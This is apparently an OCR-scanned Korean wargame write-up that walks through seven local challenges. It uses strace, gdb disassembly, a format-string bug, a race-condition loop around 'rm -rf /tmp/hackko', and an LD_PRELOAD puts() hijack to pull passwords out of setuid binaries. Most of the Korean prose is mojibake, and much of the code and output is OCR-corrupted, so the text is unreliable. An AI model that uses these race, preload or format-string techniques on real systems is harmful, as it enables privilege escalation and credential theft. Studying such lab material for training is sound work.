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Challenge 1.

straceE ©] &3] FAH ZZA| A7) = A(system cal)S B4 4 Ak

-f AL fork ® ZEA2] 274A] T4 F

flo

AN A= clol setuid7F A#E o AFEAE S8 Agkutol| ZFX|A] Kt} whepa]
A27F 8= 4S8 243817 Yal straceE AFEF oW strace —f ./cl HHO]

I forkd ZEA| oA HAYEE writedS B 4 ATk

Process 3689208 detached
open({"/dev/null", 0_WROHLY}

write(3, "next password is ¥W'This challenge" ..., 48} =
close(3) =8
exit_ group(@) =7

SHAIWE S| A =T Hd3] SHEH A = strace?d &8 A} Fo 7] ko] 2] W
wolth mEkA s FAHS o] &EA 8 TAIE e HolE s Folof s

=< strace -f -s 100 ./c1E FPTo=H next password is "This challenge is
WARMING UP" o|g}+= A4S IS

%0 Hﬂ
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271918 A 7S FolEd ot Ad RES oAEa
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R
5 Y2EES 1Y HAY b gale] 7= 2E9 (hkpcolShandsomeboy)S AT 4=
AR o] REHS AHAPgowg Mg o} ooldr). 1A /proc/modules LS A
E A1 &Yx 2EYW(WHCO7MyMoDuleFaCkEr)S wAad 4= 9ith Bolr)

Challenge 3.
wAle] RS Aty ofolrje} Hjarol o] vt}

T gkol Azl ofolrj el s af=s} A sk
i1 GDBE 9oj4ls Sa Z2ads A5
oAl S T AT AT

a9 ert FYEs 22 adeleta A7ts)
Itk (REZF GDBAZIel obF <14 glo] 9

~ W N =
=
tio
n.:
rO



o= ofo] A WA 4y HEx
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filo
ol

i &Skt

sk ak7] 98l ofefiot o]l AAFTka 7pA

© %ebp+ Oxfffffe985 A|ZtF4R st EAES =A<
char = A ="";

© OxfIfffffO(%ebp)ol A7&¥ F24(0x804877¢)& AZFT4AE e TAE
char * B = "wowhacking'

 OxfIfffff4(%ebp)ol] Ad¥ F4(0x8048770)5 AlZTA4=E 3t wAYE
char * C = "coreahacker"

D @ Oxffffffec(%ebp)ol A# F4(0x8048787)E Al AF 4R sk A4

char * D = "challenge"

0x08048624 <main+ 464>:
0x08048626 <main+ 466>:
0x08048629 <main+469>:
0x0804862f <main+475>:
0x08048630 <main+476>:

// A= "wow"

0x0804863b <main+ 487>:
0x0804863e <main+490>:

$0x3

OxfffffffO(%ebp)
Oxfffffe98(%ebp),%eax

Joeax

0x8048394 <strncpy> // strncpy(A,B,3)

push
pushl
lea
push

call

// x/s 0x8048775 : "hacker"

0x08048641 <main+ 493>:
0x08048642 <main+494>:
0x08048648 <main+ 500>:
0x08048649 <main+ 501>:

// A = "wowhacker"

0x08048654 <main+512>:
0x08048656 <main+514>:
0x08048659 <main+517>:

0x0804865f <main+523>:

0x08048660 <maint+ 524>:

// A = "wowhackercorea"

0x0804866b <main+ 535>:
0x0804866e <main+ 538>:

mov Oxfffffff4(%ebp),%ecax //eax = 0x8048770
add $0x5,%eax // eax = 0x8048775

push  %eax

lea Oxfffffe98(%ebp),%eax

push  %eax

call 0x8048374 <strcat> // strcat(A,"hacker")

$0x5

Oxfffffff4(%ebp)
Oxfffffe98(%ebp), %eax

Yoeax

0x8048334 <strncat> // strncat(A,C,5)

push
pushl
lea
push

call

mov
add

OxfffffffO(%ebp),%eax //eax = 0x804877c
$0x3,%ecax // eax = 0x804877f

// x/s 0x804877f : "hacking"




0x08048671 <main+541>: push %eax
0x08048672 <main+ 542>: lea Oxfffffe98(%ebp), %eax
0x08048678 <main+548>: push %eax

0x08048679 <main+549>: call 0x8048374 <strcat> //strcat(A,"hacking");

// A = "wowhackercoreahacking"

0x08048684 <main+ 560>: pushl Oxffffffec(%ebp)
0x08048687 <main+ 563>: lea Oxfffffe98(%ebp), %eax
0x0804868d <main+569>: push %eax

0x0804868e <main+570>: call 0x8048374 <strcat> // strcar(A,D)

// A = "wowhackercoreahackingchallenge"

0x08048699 <maint+ 581>: lea Oxfffffe98(%ebp), %eax
0x0804869f <main+587>: push %eax

0x080486a0 <main+588>: push $0x8048819

// x/s 0x8048819 = "password is W"%s2007W"Wn"

0x080486a5 <main+593>: call 0x8048384 <printf>
// printf("password is W"%s2007W"Wn",A);

weba] ofolrish s)29Est AN T H9-o] HH AT

password is "wowhackercoreahackingchallenge2007" o]t}

Challenge 4.

wAE gdb® ofgf ok gFo] &4l & 5= gl

root@¥ictim:~/=15kangx

#include <stdio.h>
void main({ woid )
4

char =buf;

buf = {char =)malloc{ 1824 };
memset{buf, Bx80, 1824);

printf{""HMessage Input:HnWt");

fgets{buf, 2848, B8 };

printf{"#¥nYour Hessage: (Sended by hk=xx)Wnit");
printf{buf);

printf{"¥n");

free{ buf );

while{1)};

¥
[root@Uictim x15kangx]# I

EEX
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root@¥ictim: ~/z15kang=/challengeb

#include <stdio.h>
#include <unistd.h>
#tinclude <{sys/types.h>

int main{ void )
1
FILE =fp;
char buf[2824];
char #¢ = {(char =)1;
int status;
pid_t pid;

fp = fopen{ “input", "r" };

while{ c t= HULL )
{

{
H

H

fclose{ fp );
return 8;

¥
[root@Victim challengeS]# I

[root@Uictim challengeS5]# cat melong.c

memset{ buf, B, sizeof{ buf )} };

c = fgets{ buf, 2824, fp };
buf[ strlen{ buf )} - 1 ] = ‘W@’

if( (pid=fork()) == 8 )

waitpid{ pid, &status, 8 );

execl{ "/home/schallenge5/c5", "hi", buf

B[(=1[ed
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Challenge 6.
oJ Al WA A& Race Condition A 3 th.
objdump® c6% &elafry ol e} o] hk_funcele &<
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b
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ol
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38
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E| root@¥ictim:~/x15kang=z/challengeb

88848528 <hk_func>:

8048528 : 55 push  %ebp

8848520 : 89 eS mov %esp,%ebp

804852b: L7 push wedi

884852¢: 56 push  %esi

8p4852d: 81 ec 58 82 A0 @8 sub $8x250,%esp

8048533 : 8d 7d c8 lea OxFFEFFfc8(%ebp),%edi
8048536 be c8 87 @4 88 mov $Ox8A487CcE , %esi
804853b: fc cld

BBO4BL3cC: b9 13 00 08 4o mov $8x13,%ecx

884851 ; £3 ah repz movsb %ds:{%esi),%es:{%edi)
BO4B5LT: 8d 7d a8 lea OxfFFEfFrfas(%ebp),%edi
BO4BSHG: be db 87 84 @8 mov $0x80487db ,%esi
884854b: fc cld

804854c b2 1e 68 68 A8 mov $0x1e,%ecx

8848551 £3 ah repz moush Zds:(%esi),%es:{%edi)
8P4BE5S: 8d bd a8 fd Ff ff lea BxfFFFfdas(%ebp),%edi
8048550 fc cld

8p4855a: ha 80 688 A8 A@ mou $8x0,%edx

BB4BLSF: bg B0 00 68 @0 mov $0x80,%0ax

8048564 89 c1 mov “eax,secx

8048566 89 da mov sedx ,%eax

8048568 : f3 ab repz stos %eax,%es:{%edi)
8B4856a: cy 45 f4 00 80 08 B8 movl $ﬂxﬂ,ﬂxFFFFFFFH(%Ehp)
8048571: 8d 45 c8 lea OxfFFFFFfcB8(%ebp) ,%eax
8B4857Y 83 ec Hc sub $0xc,%esp

8B4BSTTY: Y i} push  %eax

8048578 e8 8b fe fF FF call 8048408 <_init+BxG68>
804857d: 83 cu4 18 add $8x18,%esp

8048580: 39 45 Fh cmp eax, BxFFFFFFFU{%ebp)
8048583 : 72 B2 jb 8048587 <{hk_func+0x5f>
8048585 : eh 1e jmp 8048535 <hk_func+8x7d>
8048587 8d 85 a8 fd ff fF lea OxfFfFEfrda8(%ebp),%eax
804858d: 89 c2 mov reax ,sedx w

i

O
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M| root@¥ictim: ~/z15kangz/challengeb

[rootEVictim challenge6]# gdb c6 -
GNU gdb Red Hat Linux (5._3post-0.28021129_18rh)

Copyright 2883 Free Software Foundation, Inc.

GDB is free software, covered by the GHU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying” to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty”™ for details.
This GDB was configured as "i386-redhat-linux-gnu™...

{gdb}) b hk_func

Breakpoint 1 at B8x884852d

(gdb} b ={hk_func+134}

Breakpoint 2 at Bx88485ae

(gdb}) b ={hk_func+166)

Breakpoint 2 at Bx88485ce

{gdb) r

Starting preogram: /root/x15kangx/challengeé/cé

Breakpoint 1, 0x0804852d in hk_func ()

{gdb) c

Continuing.

Breakpoint 2, B8x@88848%ae in hk_func ()
{gdb) info registers

eax Bz2bfFFe9da -1873747584
ecx 0240002894 1073778836
edx Bz ffooegoa -16777216
ebx 0x8 849908 134519048
esp BxbfFfe9ch Bxbfffech
ebp BxbfFfec28 0xbfffec2s
esi 080487 F9 134514681
edi 8zbfffebdn -1873746992
eip 0x8B4B5ae Bx8B485ae
eflags 8218292 66194

Cs 8x23 35

S5 8x2b 43

ds 8x2b 43

es Bx2b u3

Fs axa a8

gs 8233 51

(gdb) xfs @xbfffeodd

BxbfffeddB: “rm -rf ftmp/fhackko™
{gdb) ¢

Continuing.

Breakpoint 2, Ox088485ce in hk_func ()

{gdb} jump ={hk_func+174)

Continuing at Bx80485d6.

cat: fhome/fchallenged/PASSWORD: 13 W O|L} C|2lE2(0F &2
Couldn't get registers: HI 0| HED R UE.

(gdb) v

obel| shl2 resh RIS A AaE doful= shdelth




B root@¥ictim:~/%15kangz/challengeb E|E|E|
.

[root@Uictim challenged]# cat kakaka.c
ftinclude <{stdio.h>

int main{ woid )}
{
vhile{1 )}
system{ “touch stmpfhackko™ };
H
[root@Uictim challengeé6]# cat melong.c
#include <stdio.h>

int main{ wvoid )}

{

int i;

vhile{ 1 )

{

system({™./c6");

H
H
[root@Uictim challengeé]# _/kakaka &
[1] 2118

[root@Uictim challenge6]#t _/melong
i need argument

i need argument

i need argument

i need argument

i need argument

i need argument

i need argument

i need argument

i need argument

cat: /home/fchallenge&/PASSWORD: 12 W O|L} CJRE2|0F &2 w

wAE A & w7t F 5 2 Holl EAlEol= ol HA @A A & 5 3]
o of 2

(¢ stHE AA 3] A7t obd A3 HAE Ao AFAEEE AARPUrt. HAAZ=
/home/challenge6/PASSWORD o] cat W o& AP HA sjA2=rF 45y
L= ST e s R )

Challenge 7.

Aol ZEERE Hof Qe FAE MAsE 7MY A W Y VAl 2EE AEd
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void main(void)

{

char *str = "WxAAWxBBWxCCWxDD"
return,

)

Plob 2ol e W e X2 =
o] &3l A ojAETol =R BAT 4 ol 7w

He olgalx

objdump -D S4&

Ao A Fol7l = flo} B

2
2
il
o
¥
i)

<main>:

80493¢0: 8d 4c 24 04 lea 0x4(%esp,1),%ecx
80493e4: 83 e4 {0 and SOxLffff0, %esp
80493e7: ff 71 fc pushl Oxfffffffc(%ecx)
80493ea: 55 push  %ebp

80493eb: 89 e5 mov %esp,%ebp

80493ed: 53 push  %ebx

80493ee: 51 push  %ecx

[+ A B B 273}

80493ef: 83 ec 20 sub $0x20,%esp

80493f2: 89 4d e0 mov %ecx,0xffffffe0(%ebp)
80493f5: c7 45 e8 00 00 00 00 movl  $0x0,0xffffffe8(%ebp)
80493fc: 66 c7 45 ee 00 00 movw  $0x0,0xffffffee(%ebp)
8049402: c7 45 f0 01 00 00 00 movl  $0x1,0xfffffffO(%ebp)
8049409: c7 45 4 02 00 00 00 movl  $0x2,0xfffffff4(%ebp)
8049410: 8b 45 e0 mov O0xffffffe0(%ebp), %eax
/* argc7} 5EU 7 of #

8049413: 83 38 05 cmpl  $0x5,(%eax)

8049416: 7f Oc ig 8049424 <code+ 0x44>
8049418: c7 45 ed ff ff ff ff movl  SOxIfIfffff,0xffffffe4(%ebp)
80494 1f: e9 b8 00 00 00 jmp 80494dc <code+ Oxfc>
/% argv[1]Z o} 1¥}o]EE edxol A #4

8049424: 8b 55 e0 mov OxffffffeO(%ebp), %edx
8049427: 8b 42 04 mov 0x4(%edx),%eax
80494 2a: 83 c0 04 add  $0x4,%eax

8049424d: 8b 00 mov (%eax), %eax
804942f: 0f b6 00 movzbl (%eax),%eax
8049432: Of be dO movsbl %al,%edx

_10_



/¥ argv[2]% ol 1¥lolEE edx™ oty edxel A%

80494 35: 8b 4d e0 mov Oxffffffe0(%ebp),%ecx
8049438: 8b 41 04 mov  Ox4(%ecx),%eax
804943b: 83 ¢c0 08 add  $0x8,%eax

80494 3e: 8b 00 mov (Peax), %eax
8049440: 0f b6 00 movzbl (%eax),%eax
8049443: Of be cO movsbl %al,%eax

8049446: Of af dO imul  %eax,%edx

[ edxell A= FES ecxE 713 argv[3]F ot 1HI]EE F3l5 ecxol A%

8049449: 8b 5d e0 mov OxffffffeO(%ebp),%ebx
804944c: 8b 43 04 mov 0x4(%ebx),%eax
804944f: 83 ¢0 Oc add  $0xc,%eax

8049452: 8b 00 mov (%eax),%oeax
8049454: 0f b6 00 movzbl (%eax),%eax
8049457: Of be cO movsbl %al,%eax

804945a: 89 d1 mov Pedx,%ecx

804945c: Of af c8 imul  %eax,%ecx

/¥ argv[41%kz ol 19}l EE edxol A%

804945f: 8b 55 e0 mov Oxffffffe0(%ebp), %edx
8049462: 8b 42 04 mov 0x4(%edx),%eax
8049465: 83 c0 10 add $0x10,%eax

8049468: 8b 00 mov (%eax),%eax
804946a: Of b6 00 movzbl (%eax),%eax
804946d: Of be dO movsbl %al,%edx

/¥ argv[5]1EtF ole] 1vlo|EE edxatd w35 eaxol A%

8049470: 8b 5d e0 mov OxffffffeO(%ebp),%ebx
8049473: 8b 43 04 mov 0x4(%ebx),%eax
8049476: 83 ¢c0 14 add  $0x14,%eax

8049479: 8b 00 mov (%eax),Poeax
804947b: 0f b6 00 movzbl (%eax),%eax
804947e: Of be cO movsbl %al,%eax

8049481: Of af c2 imul  %edx,%eax

[+ eaxv= [BHA = FHA « AUA - dAA « GAAA] S gho] A
8049484: 89 ca mov YPecx,Toedx
8049486: 29 c2 sub Peax,Poedx
8049488: 89 dO mov %edx,Yoeax

_11_



/¥ AAE A3ZES [ebp - 2410 ¥Yols
804948a: 89 45 e8 mov Peax,0xffffffe8(%ebp)

/% [ebp—-161%t3} [ebp-12]1%kS Wt

o

o] grol &S 4% <password_output>°] FFE T=F3 FAW 24T F e W
ey

804948d: 8b 45 O mov Oxfffffff0(%ebp), %eax
8049490: 3b 45 f4 cmp Oxfffffff4(%ebp),%eax
8049493: 75 Oe jne 80494a3 <code+ Oxc3>
8049495: e8 4f 00 00 00 call 80494e9 <code+0x109>
804949a: c7 45 e4 00 00 00 00 movl  $0x0,0xffffffe4(%ebp)
80494al: eb 39 jmp 80494dc <code+ Oxfc>
/% lebp-24]°ll A& g 0HT} Zolof H

80494 a3: 83 7d e8 00 cmpl  $0x0,0xffffffe8(%ebp)
80494a7: 79 2 ins 80494d5 <code+ 0xf5>
/* lebp -241¢] 3}9] 2ulo]EE [ebp-18]el] A G3tA

80494a9: 8b 45 e8 mov Oxffffffe8(%ebp),%eax
80494 ac: 66 89 45 ee mov %ax,0xffffffee(%ebp)
/+ [ebp-18]°l U= Ftol 0XT} #Hof

o] o] AHstr] HaiA ALk A gho] WS A5 "great (-)'E EH€stE Ei
gl g AAgH

80494b0: 66 83 7d ee 00 cmpw  $0x0,0x{ffffffee(%ebp)
80494b5: 7e 15 jle 80494cc <code+ Oxec>
80494b7: c7 04 24 70 85 04 08 movl $0x8048570,(%esp,1)
80494be: e8 41 fe ff ff call 8049304

<_EH_FRAME_BEGIN__+ Oxf4c>

80494c3: c7 45 e4 00 00 00 00 movl  $0x0,0xffffffed(%ebp)
80494 ca: eb 10 jmp 80494dc <code+ Oxfc>
80494 cc: c7 45 ed ff ff ff ff movl  SOxIfIfffff,0xffffffe4(%ebp)
80494d3: eb 07 jmp 80494dc <code+ Oxfc>
80494d5: c7 45 ed ff ff ff ff movl  SOxIfIfffff,0xffffffed(%ebp)
80494dc: 8b 45 e4 mov Oxffffffe4(%ebp), %eax
80494df: 83 c4 20 add $0x20,%esp

80494e2: 59 pop YDecx

80494e3: 5b pop YDebx

80494e4: 5d pop %ebp

80494e5: 8d 61 fc lea Oxfffffffc(%ecx),%esp

_12_



80494e8: c3 ret

<password_output>:

80494e9: 55 push  %ebp

80494 ea: 89 e5 mov %esp,%ebp

80494ec: 83 ec 08 sub  $0x8,%esp

80494ef: c7 04 24 7a 85 04 08 movl $0x804857a,(%esp,1)

8049416: e8 09 fe ff ff call 8049304
<__EH_FRAME_BEGIN__+ Oxf4c>

80494fb: c7 04 24 8c 85 04 08 movl $0x804858c,(%esp,1)

8049502: e8 fd fd ff ff call 8049304
<__EH_FRAME_BEGIN__+ Oxf4c>

8049507: c7 04 24 a4 85 04 08 movl $0x80485a4,(%esp,1)

804950e: e8 f1 fd ff ff call 8049304
<__EH_FRAME_BEGIN__+ Oxf4c>

8049513: b8 00 00 00 00 mov $0x0,%eax

8049518: c9 leave

8049519: c3 ret

804951a: 90 nop

804951b: 90 nop

4 <call 8049304>¢] F-o= 7}71918l movzbl ¥ movsbl ©] 7 &7 wiitel ofzf <}
ol Eshw b5 shlnt.

-
—

T
x

< o7 223 argv[l] ~ argv[blel 299
S s

FES HAES SR b g e

o =X

2 Qe AN ARt we] B
ol

[
bl

[root@Victim challenge7]# ./c7 “perl —e 'print "Wxe8"" ‘“perl —-e 'print "Wx80""
“perl —e 'print "WxeQ"" “perl —e 'print "Wx7{"" “perl —e 'print "Wx7{""
great :-)

great =) #h= TAE S #HQ F F AAAR A== FQl T glodH

pssword_output 37} A= BEAES FHelFE AL F2FE L AZolA push dF
T A S Zgeld w1y 8| LD_PRELOAD% o] g3t putsTgE FHAT ol =
78k psuts o] Aol

[root@Victim challenge7]# cat libputs.c
void puts( void )
{

_asm_ (" mov $4, %eaxWn // puts system call number

_13_



mov $1, %ebxWn // stdout
mov  $0x804852a, %ecxWn // start address of password
string(guessing!)
mov $100, %edxWn // length
int $0x80Wn // interrupt!
");

B

1l

=

B o
il

= o]
h = AA
o push H+E= AEHES F

ok

password_output &4 W
3t ) oAl o] ¥4

root@Victim challenge7]# gcc —-fPIC -g -c -Wall libputs.c
root@Victim challenge7]# gcc -shared -W1, -o libputs.so libputs.o —lc

[

[

[root@Victim challenge7 1# mv libputs.so /tmp/x15kangx/libputs.so

[root@Victim challenge7]# export LD_PRELOAD=/tmp/x15kangx/libputs.so
[root@Victim challenge7]# ./c7 “perl —e 'print "Wxe8"" ‘“perl —-e 'print "Wx80""
“perl —e 'print "WxeQ"" “perl —e 'print "Wx7{"" “perl —e 'print "Wx7{""

wow!, very good!

you are great hacker!! Password is "s#ssssssskksomsiomks"
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